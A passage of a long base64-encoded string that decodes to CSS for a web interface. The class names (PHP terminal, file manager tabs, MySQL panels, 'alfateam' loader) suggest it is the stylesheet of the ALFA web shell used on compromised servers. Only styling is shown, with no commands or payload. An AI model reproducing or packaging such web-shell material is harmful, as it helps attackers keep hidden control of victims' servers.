2hhZG93OjAgMCAyNXB4ICMwZjA7LW1vei10ZXh0LXNoYWRvdzowIDAgMjVweCAjMGYwOy1tcy10ZXh0LXNoYWRvdzowIDAgMjVweCAjMGYwO3RleHQtc2hhZG93OjAgMCAyNXB4ICMwZjB9LnVwZGF0ZS1ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7dG9wOjA7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMjQsMjksLjcyKTt3aWR0aDoxMDAlO2hlaWdodDoxMDAlfS51cGRhdGUtY29udGVudHtwb3NpdGlvbjpyZWxhdGl2ZX0udXBkYXRlLWNvbnRlbnQ+YXt0ZXh0LWRlY29yYXRpb246bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjpyZ2JhKDEwMywxNjcsNDcsLjc3KTtsZWZ0OjI0JTttYXJnaW4tdG9wOjclO2ZvbnQtc2l6ZTo0MHB4fS51cGRhdGUtY2xvc2V7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDttYXJnaW4tcmlnaHQ6MjNweDt0b3A6MTBweDtmb250LXNpemU6MjdweDtiYWNrZ3JvdW5kLWNvbG9yOiMxMzBmNTA7d2lkdGg6NSU7Ym9yZGVyLXJhZGl1czoxMDBweDtjdXJzb3I6cG9pbnRlcjtib3JkZXI6MnB4ICMwZTI2NWEgc29saWR9LnVwZGF0ZS1jbG9zZTpob3Zlcntib3JkZXI6MnB4ICMyNWZmMDAgc29saWQ7Y29sb3I6cmVkfS5maWxlc3Rvb2xze2hlaWdodDphdXRvO3dpZHRoOmF1dG87Y29sb3I6IzY3YWJkZjtmb250LXNpemU6MTJweDtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmfUAtbW96LWRvY3VtZW50IHVybC1wcmVmaXgoKXsjc2VhcmNoLWlucHV0e3dpZHRoOjE3M3B4fS5lZGl0b3ItcGF0aHt0b3A6M3B4fX0uZmlsdGVycy1ob2xkZXJ7cGFkZGluZzo1cHg7cGFkZGluZy1sZWZ0OjEwcHh9LmZpbHRlcnMtaG9sZGVyIGlucHV0e3dpZHRoOjIwMHB4fS5maWx0ZXJzLWhvbGRlciBzcGFue2NvbG9yOiM4YmM3Zjd9I3JpZ2h0Y2xpY2tfbWVudXt3aWR0aDoxNzVweDt2aXNpYmlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246Zml4ZWQ7YmFja2dyb3VuZDojMGYzMDRhO2NvbG9yOiM1NTU7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6MTFweDstd2Via2l0LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW1vei10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1tcy10cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy1vLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7dHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDstd2Via2l0LWJveC1zaGFkb3c6LTFweCAwIDE3cHggMCAjOGI4YjhjOy1tb3otYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7Ym94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7cGFkZGluZzowO2JvcmRlcjoxcHggc29saWQgIzczNzM3Mztib3JkZXItcmFkaXVzOjEwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhe2Rpc3BsYXk6YmxvY2s7Y29sb3I6I2ZmZjtmb250LXdlaWdodDpib2xkZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7cGFkZGluZzo2cHggOHB4IDZweCAzMHB4O3Bvc2l0aW9uOnJlbGF0aXZlO3BhZGRpbmctbGVmdDo0MHB4fSNyaWdodGNsaWNrX21lbnUgYSBpLmZhLCNyaWdodGNsaWNrX21lbnUgYSBpbWd7aGVpZ2h0OjIwcHg7Zm9udC1zaXplOjE3cHg7d2lkdGg6MjBweDtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjVweDt0b3A6MnB4O3BhZGRpbmctbGVmdDo1cHh9I3JpZ2h0Y2xpY2tfbWVudSBhIHNwYW57Y29sb3I6I2JjYjFiMztmbG9hdDpyaWdodH0jcmlnaHRjbGlja19tZW51IGE6aG92ZXJ7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOiMzODc5ZDl9I3JpZ2h0Y2xpY2tfbWVudSBocntib3JkZXI6MXB4IHNvbGlkICNlYmViZWI7Ym9yZGVyLWJvdHRvbTowfS5jbC1wb3B1cC1maXhlZHtwb3NpdGlvbjpmaXhlZDt0b3A6MDtsZWZ0OjA7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtiYWNrZ3JvdW5kOiMyMDFlMWVhZH0jc2hvcnRjdXRNZW51LWhvbGRlcntwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NDAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtiYWNrZ3JvdW5kOiMxZjFlMWVkYjtoZWlnaHQ6MTkwcHg7d2lkdGg6NTAwcHg7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtaGVhZHtiYWNrZ3JvdW5kOiMyMDcxNzQ7cGFkZGluZzo2cHg7Ym9yZGVyLXRvcDoxMHB4O3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7Y29sb3I6I2ZmZn0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3Jte3BhZGRpbmc6MTBweH0jc2hvcnRjdXRNZW51LWhvbGRlcj5mb3JtPmxhYmVse2Rpc3BsYXk6YmxvY2t9I3Nob3J0Y3V0TWVudS1ob2xkZXI+Zm9ybT5pbnB1dHt3aWR0aDo5OSU7aGVpZ2h0OjI0cHg7bWFyZ2luLXRvcDo0cHg7Y29sb3I6I2ZmZjtvdXRsaW5lOjA7Zm9udC1zaXplOjE2cHh9I3Nob3J0Y3V0TWVudS1ob2xkZXI+LnBvcHVwLWZvb3R7ZmxvYXQ6cmlnaHQ7aGVpZ2h0OjMwcHg7bWFyZ2luLXJpZ2h0OjhweH0jc2hvcnRjdXRNZW51LWhvbGRlcj4ucG9wdXAtZm9vdD5idXR0b257aGVpZ2h0OjEwMCU7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6I2ZmZjtvdXRsaW5lOjB9LnBocC10ZXJtaW5hbC1vdXRwdXR7b3ZlcmZsb3c6YXV0bztoZWlnaHQ6ODYlO2JvcmRlcjoxcHggc29saWQgIzFlNTY3Mztib3JkZXItcmFkaXVzOjEwcHh9LmNtZC1oaXN0b3J5LWhvbGRlcnt2aXNpYmlsaXR5OmhpZGRlbjtvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2RmZjNkNTtiYWNrZ3JvdW5kOiMwOTNkNTg7dG9wOi0zMDBweDtoZWlnaHQ6MzAwcHg7d2lkdGg6Y2FsYyg2OSUgKyAtMTFweCk7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwO2xlZnQ6Y2FsYygyJSAtIDlweCk7dHJhbnNpdGlvbjp2aXNpYmlsaXR5IC41cyxvcGFjaXR5IC41cyBsaW5lYXJ9LmNtZC1oaXN0b3J5LWhvbGRlciAuY29tbWFuZHMtaGlzdG9yeS1oZWFkZXJ7YmFja2dyb3VuZDojMzc1MDRlO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6MTBweCAxMHB4IDAgMH0uY21kLWhpc3RvcnktaWNvbnt3aWR0aDoyN3B4O3RvcDo2cHg7bGVmdDpjYWxjKDY5JSArIDVweCk7cG9zaXRpb246YWJzb2x1dGU7Y3Vyc29yOnBvaW50ZXJ9Lmhpc3RvcnktY21kLWxpbmV7cGFkZGluZzo0cHg7Ym9yZGVyLWJvdHRvbToxcHggZGFzaGVkO2N1cnNvcjpwb2ludGVyfS5oaXN0b3J5LWNtZC1saW5lOmhvdmVye2JhY2tncm91bmQ6Izk2MTExMX0jbXlVTCwjbXlVTCB1bHtsaXN0LXN0eWxlLXR5cGU6bm9uZX0jbXlVTHttYXJnaW46MDtwYWRkaW5nOjB9LmJveHtjdXJzb3I6cG9pbnRlcjstd2Via2l0LXVzZXItc2VsZWN0Om5vbmU7LW1vei11c2VyLXNlbGVjdDpub25lOy1tcy11c2VyLXNlbGVjdDpub25lO3VzZXItc2VsZWN0Om5vbmV9LmJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjEwIjtjb2xvcjojMDAwO2Rpc3BsYXk6aW5saW5lLWJsb2NrO21hcmdpbi1yaWdodDo2cHh9LmNoZWNrLWJveDo6YmVmb3Jle2NvbnRlbnQ6IlwyNjExIjtjb2xvcjojMWU5MGZmfS5uZXN0ZWR7ZGlzcGxheTpub25lfS5hY3RpdmV7ZGlzcGxheTpibG9ja30uZmxhZy1ob2xkZXI+aW1ne3dpZHRoOjIwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZGRpbmctbGVmdDo2cHh9I29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2hvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5Om5vbmU7b3ZlcmZsb3c6YXV0bzttaW4taGVpZ2h0OjMwMHB4O21heC1oZWlnaHQ6Y2FsYygxMDB2aCAtIDEwMHB4KX0jb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfaG9sZGVyIC5oZWFkZXJ7bWluLWhlaWdodDo1MHZofSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZXtkaXNwbGF5OmJsb2NrfSNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWJ7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6MTRweDttYXJnaW4tcmlnaHQ6MzBweDtiYWNrZ3JvdW5kOiMwMDA7Ym9yZGVyLWJvdHRvbTo3cHggc29saWQgIzBmMzA0YTtib3JkZXItbGVmdDo3cHggc29saWQgIzBmMzA0YTtib3JkZXItcmlnaHQ6N3B4IHNvbGlkICMwZjMwNGE7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIGltZywjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZSBpbWcsLmVkaXRvci10YWItbmFtZSBpbWcsLnNxbC10YWJzIC5zcWwtdGFibmFtZSBpbWcsLnRlcm1pbmFsLXRhYnMgLnRlcm1pbmFsLXRhYiBpbWd7d2lkdGg6MTBweDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7bWFyZ2luLWxlZnQ6NXB4fSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUsLmVkaXRvci10YWItbmFtZSwuc3FsLXRhYnMgLnNxbC1uZXd0YWIsLnNxbC10YWJzIC5zcWwtdGFibmFtZSwudGVybWluYWwtdGFicyAudGVybWluYWwtdGFie2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JhY2tncm91bmQtY29sb3I6IzEzM2Q1MTtib3JkZXItcmFkaXVzOjRweDtwYWRkaW5nOjVweDtjb2xvcjojZmZmO21hcmdpbi1yaWdodDozcHg7cGFkZGluZzo1cHg7Y3Vyc29yOnBvaW50ZXI7bWFyZ2luLWJvdHRvbToxcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30jZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFie21pbi13aWR0aDo1NXB4O3RleHQtYWxpZ246Y2VudGVyfSNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWI6aG92ZXIsI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWU6aG92ZXIsLmVkaXRvci10YWItbmFtZTpob3Zlciwuc3FsLXRhYnMgLnNxbC10YWJuYW1lOmhvdmVyLC50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojYTIzOTM5fS5lZGl0b3ItdGFicywuc3FsLXRhYnMsLnRlcm1pbmFsLXRhYnN7cGFkZGluZzo1cHg7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0ub3B0aW9ucy1sb2FkZXItaG9sZGVye3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO2JhY2tncm91bmQ6IzJiMjYyNmM3O3otaW5kZXg6MTF9Lm9wdGlvbnMtbG9hZGVyLWhvbGRlciBpbWd7cG9zaXRpb246YWJzb2x1dGU7dG9wOjMyJTtsZWZ0OjQ1JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7d2lkdGg6MTAwcHg7YW5pbWF0aW9uOnNwaW4gMnMgaW5maW5pdGV9I2ZpbGVzbWFuX3RhYnMgLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlLCNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUsLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSwuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIsLnRlcm1pbmFsLXRhYi5hY3RpdmUtdGVybWluYWwtdGFie2JhY2tncm91bmQtY29sb3I6IzAwOTY4OH0udGFiLWlzLWRvbmV7YW5pbWF0aW9uOjJzIHRhYl9jaGFuZ2VfY29sb3IgaW5maW5pdGUgc3RlcC1lbmR9LnN0b3BBamF4e2NvbG9yOiNmZmY7Zm9udC1zaXplOjIwcHg7ZGlzcGxheTppbmxpbmUtYmxvY2s7cGFkZGluZzoxMHB4O2N1cnNvcjpwb2ludGVyfSNhX2xvYWRlcntkaXNwbGF5Om5vbmU7cG9zaXRpb246Zml4ZWQ7dG9wOjA7bGVmdDowO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7YmFja2dyb3VuZDojMmIyNjI2Yzc7ei1pbmRleDo5OX0uZm1hbmFnZXItcm93PnRke3Bvc2l0aW9uOnJlbGF0aXZlfS5mbWFuYWdlci1yb3cgLnN5bWxpbmtfcGF0aHtwb3NpdGlvbjpmaXhlZDttYXgtd2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiMwZjMwNGE7Ym9yZGVyLXJhZGl1czoxMHB4O2ZvbnQtc2l6ZToxNXB4O3BhZGRpbmc6OHB4O2NvbG9yOiNmZGY0ZjQ7Ym9yZGVyOjFweCBzb2xpZCAjOGE4YThhO3otaW5kZXg6MTtwb2ludGVyLWV2ZW50czpub25lfS5hcmNoaXZlLWljb25ze3ZlcnRpY2FsLWFsaWduOm1pZGRsZX0uYXJjaGl2ZS10eXBlLWRpcntmb250LXdlaWdodDpib2xkZXJ9LmFyY2hpdmUtdHlwZS1maWxle2ZvbnQtd2VpZ2h0OnVuc2V0fS5hcmNoaXZlLW5hbWV7Y3Vyc29yOnBvaW50ZXJ9LmFyY2hpdmVfZGlyX2hvbGRlciBhe2NvbG9yOiMwZjA7Zm9udC13ZWlnaHQ6Ym9sZGVyO2N1cnNvcjpwb2ludGVyfS5hcmNoaXZlX2Rpcl9ob2xkZXIgYTpob3Zlcntjb2xvcjojZmZmfS5lZGl0b3ItY29udGVudHtoZWlnaHQ6MTAwJX0uZWRpdG9yLWNvbnRlbnQtaG9sZGVye2hlaWdodDo5MCV9LmVkaXRvci1jb250ZW50c3tkaXNwbGF5Om5vbmU7cG9zaXRpb246cmVsYXRpdmU7aGVpZ2h0OjEwMCV9LmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmV7ZGlzcGxheTpibG9ja30uaGlzdG9yeS1wYW5lbC1jb250cm9sbGVye3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTAwMDtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjUwJTtsZWZ0OjE5JTtiYWNrZ3JvdW5kLWNvbG9yOiMwMDk2ODc7Y3Vyc29yOnBvaW50ZXJ9LnNxbC1jb250ZW50e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpyZWxhdGl2ZTttaW4taGVpZ2h0OjMwMHB4fS5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnR7ZGlzcGxheTpibG9ja30ucGFnZXMtaG9sZGVye3BhZGRpbmc6N3B4fS5wYWdlcy1udW1iZXJ7ZGlzcGxheTppbmxpbmUtYmxvY2s7bWFyZ2luLWxlZnQ6MTBweH0ucGFnZXMtaG9sZGVyIC5wYWdlcy1udW1iZXIgYS5wYWdlLW51bWJlcntwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMwZjMwNGE7bWFyZ2luLXJpZ2h0OjhweDtjdXJzb3I6cG9pbnRlcjt3aWR0aDozM3B4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RleHQtYWxpZ246Y2VudGVyO2JvcmRlci1yYWRpdXM6NXB4O2NvbG9yOiNmZmY7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC41c30uYWN0aXZlLXBhZ2UtbnVtYmVye2JhY2tncm91bmQ6IzEwOTI1YyFpbXBvcnRhbnR9LnBhZ2VzLW51bWJlciBhLnBhZ2UtbnVtYmVyOmhvdmVye2JhY2tncm91bmQ6IzhhOGE4YX0udGVybWluYWwtY29udGVudHtoZWlnaHQ6MTAwJX0udGVybWluYWwtY29udGVudCwudGVybWluYWwtdGFie2Rpc3BsYXk6bm9uZX0udGVybWluYWwtY29udGVudC5hY3RpdmUtdGVybWluYWwtY29udGVudHtkaXNwbGF5OmJsb2NrO3Bvc2l0aW9uOnJlbGF0aXZlfS50ZXJtaW5hbC1idG4tZm9udGN0bHtiYWNrZ3JvdW5kOiMwMDk2ODg7d2lkdGg6NTBweDtjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXJ9LmFsZXJ0LWFyZWF7bWF4LWhlaWdodDoxMDAlO3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTo1cHg7bGVmdDoyMHB4O3JpZ2h0OjIwcHg7ei1pbmRleDo5OTk5fS5hbGVydC1ib3h7Zm9udC1zaXplOjE2cHg7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kOnJnYmEoMCwwLDAsLjkpO2xpbmUtaGVpZ2h0OjEuM2VtO3BhZGRpbmc6MTBweCAxNXB4O21hcmdpbjo1cHggMTBweDtwb3NpdGlvbjpyZWxhdGl2ZTtib3JkZXItcmFkaXVzOjVweDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW47LXdlYmtpdC1hbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbjphbGVydC1zaGFrZSAuNXMgZWFzZS1pbi1vdXR9LmFsZXJ0LWNvbnRlbnQtdGl0bGV7Zm9udC13ZWlnaHQ6NzAwfS5hbGVydC1ib3guYWxlcnQtc3VjY2Vzc3tiYWNrZ3JvdW5kOnJnYmEoNTYsMTI3LDU2LC44OSl9LmFsZXJ0LWVycm9ye2JhY2tncm91bmQ6cmdiYSgxOTEsNTQsNTQsLjg5KX0uYWxlcnQtYm94LmhpZGV7b3BhY2l0eTowfS5hbGVydC1jbG9zZXtiYWNrZ3JvdW5kOjAgMDt3aWR0aDoxMnB4O2hlaWdodDoxMnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxNXB4O3JpZ2h0OjE1cHh9LmFsZXJ0LWNsb3NlOmFmdGVyLC5hbGVydC1jbG9zZTpiZWZvcmV7Y29udGVudDoiIjt3aWR0aDoxNXB4O2JvcmRlci10b3A6c29saWQgMnB4ICNmZmY7cG9zaXRpb246YWJzb2x1dGU7dG9wOjVweDtyaWdodDotMXB4O2Rpc3BsYXk6YmxvY2t9LmFsZXJ0LWNsb3NlOmJlZm9yZXt0cmFuc2Zvcm06cm90YXRlKDQ1ZGVnKX0uYWxlcnQtY2xvc2U6YWZ0ZXJ7dHJhbnNmb3JtOnJvdGF0ZSgxMzVkZWcpfS5hbGVydC1jbG9zZTpob3ZlcjphZnRlciwuYWxlcnQtY2xvc2U6aG92ZXI6YmVmb3Jle2JvcmRlci10b3A6c29saWQgMnB4ICNkOGQ4ZDh9QG1lZGlhIChtYXgtd2lkdGg6NzY3cHgpIGFuZCAobWluLXdpZHRoOjQ4MXB4KXsuYWxlcnQtYXJlYXtsZWZ0OjEwMHB4O3JpZ2h0OjEwMHB4fX1AbWVkaWEgKG1pbi13aWR0aDo3NjhweCl7LmFsZXJ0LWFyZWF7d2lkdGg6MzUwcHg7bGVmdDphdXRvO3JpZ2h0OjA7ei1pbmRleDo5OTk5fX1Aa2V5ZnJhbWVzIHRhYl9jaGFuZ2VfY29sb3J7MCV7YmFja2dyb3VuZC1jb2xvcjojMTMzZDUxfTUwJXtiYWNrZ3JvdW5kLWNvbG9yOmdyZWVufX1ALXdlYmtpdC1rZXlmcmFtZXMgYWxlcnQtc2hha2V7MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX0yMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9NjAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX19QGtleWZyYW1lcyBhbGVydC1zaGFrZXswJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgwKX0yMCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTQwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTEwcHgpfTgwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX0xMDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX0udGV4dEVmZmVjdHtwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDo1MDBweDt0b3A6LTEwcHg7YW5pbWF0aW9uOmFsZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dDthbmltYXRpb24taXRlcmF0aW9uLWNvdW50OjJ9LmFsZmF0ZWFtLWxvYWRlci10ZXh0e3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiM0NmJiNDU7dG9wOjIzJTtsZWZ0OjQ5JTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7Zm9udC1zaXplOjQwcHg7bGV0dGVyLXNwYWNpbmc6N3B4fS5hbGZhLWFqYXgtZXJyb3J7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6I2ZmMGEwYTt0b3A6NTAlO2xlZnQ6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6MzBweH0uY29ubmVjdGlvbi1oaXN0LXRhYmxle21hcmdpbi1sZWZ0OmF1dG87bWFyZ2luLXJpZ2h0OmF1dG87dGV4dC1hbGlnbjpqdXN0aWZ5O2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZX0uY29ubmVjdGlvbi1oaXN0LXRhYmxlIHRkLC5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGh7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO3RleHQtYWxpZ246bGVmdDtwYWRkaW5nOjhweH0uY29ubmVjdGlvbi1oaXMtYnRue21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOiMyMDY5MjA7Y29sb3I6I2ZmZjtib3JkZXI6bm9uZTtvdXRsaW5lOjA7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6NzAwO3RyYW5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24taGlzLWJ0bi5jb25uZWN0aW9uLWRlbGV0ZXttYXJnaW46dW5zZXQ7cGFkZGluZzo1cHg7YmFja2dyb3VuZDpyZWQ7d2lkdGg6MzNweDtib3JkZXItcmFkaXVzOjNweDt0cmFuc2l0aW9uOmJhY2tncm91bmQgLjNzfS5jb25uZWN0aW9uLWRlbGV0ZTpob3ZlcntiYWNrZ3JvdW5kOiNmNTY5NjkhaW1wb3J0YW50fS5jb25uZWN0aW9uLWhpcy1idG46aG92ZXJ7YmFja2dyb3VuZDojMzBiMzMwfSN1cF9iYXJfaG9sZGVye3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6MTAwMDAwO3dpZHRoOjEwMCV9I2ZpbGVzbWFuX3RhYnN7cGFkZGluZzo4cHg7Ym9yZGVyOjFweCBzb2xpZCAjZDkxNDlhO2NvbG9yOiM2N2FiZGY7b3ZlcmZsb3cteDphdXRvO3doaXRlLXNwYWNlOm5vd3JhcH0uc29ydGFibGUtZ2hvc3R7b3BhY2l0eTouNTtiYWNrZ3JvdW5kOiNjOGViZmJ9LmZvbGRlci10YWItaWNvbnt3aWR0aDoxNnB4IWltcG9ydGFudH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aHtkaXNwbGF5Om5vbmU7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldmVudHM6bm9uZTtiYWNrZ3JvdW5kOiMxNjM3NDY7cGFkZGluZzo3cHg7Y29sb3I6IzBmMDtib3JkZXItcmFkaXVzOjEwcHg7bWluLXdpZHRoOjU4cHg7ei1pbmRleDoxMH0jZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aDo6YWZ0ZXJ7Y29udGVudDoiIjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MTAwJTtsZWZ0OjM1cHg7bWFyZ2luLWxlZnQ6LTVweDtib3JkZXItd2lkdGg6NXB4O2JvcmRlci1zdHlsZTpzb2xpZDtwb2ludGVyLWV2ZW50czpub25lO2JvcmRlci1jb2xvcjojMTYzNzQ2IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50IHRyYW5zcGFyZW50fS5teXNxbC1tYWlue2hlaWdodDo4NHZoO3Bvc2l0aW9uOnJlbGF0aXZlfS5teXNxbC1oaWRlLWNvbnRlbnR7ZGlzcGxheTpub25lfS5teXNxbC1xdWVyeS1yZXN1bHQtdGFic3ttYXJnaW4tYm90dG9tOjEwcHg7cGFkZGluZzozcHg7Ym9yZGVyLWJvdHRvbTo0cHggc29saWQgIzBmMzA0YX0ubXlzcWwtbWFpbiAudGFibGVzLXBhbmVsLWN0bHtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmZmO3BhZGRpbmc6MTBweDt6LWluZGV4OjE7Ym9yZGVyLXJhZGl1czoxMHB4O3RvcDo0NSU7bGVmdDpjYWxjKDE3JSArIDEwcHgpO2JhY2tncm91bmQtY29sb3I6IzAwOTY4NztjdXJzb3I6cG9pbnRlcn0udGFibGVzLXBhbmVsLWN0bC1taW57bGVmdDotMjFweCFpbXBvcnRhbnR9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdntkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjVweDttYXJnaW4tcmlnaHQ6MnB4O2JhY2tncm91bmQ6IzEzM2Q1MTtjb2xvcjojZmZmO2N1cnNvcjpwb2ludGVyO3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAuNXN9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNhMjM5Mzl9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJzIGRpdi5teXNxbC1xdWVyeS1zZWxlY3RlZC10YWJ7YmFja2dyb3VuZDpyZWR9dGFibGUgdHIudGJsX3JvdzpudGgtY2hpbGQob2RkKXtiYWNrZ3JvdW5kOiM0MjQwNDB9Lm15c3FsLXRhYmxlcyAudGFibGVzLXJvd3ttYXJnaW4tbGVmdDoyNnB4fS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzLC5teXNxbC1tYWluIC5teXNxbC10YWJsZXN7ZmxvYXQ6bGVmdDtoZWlnaHQ6MTAwJTtvdmVyZmxvdzphdXRvfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRze3dpZHRoOmNhbGMoODAlICsgNHB4KTttYXJnaW4tbGVmdDo1cHg7cG9zaXRpb246cmVsYXRpdmU7b3ZlcmZsb3c6dW5zZXR9Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWR7d2lkdGg6MTAwJX0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cy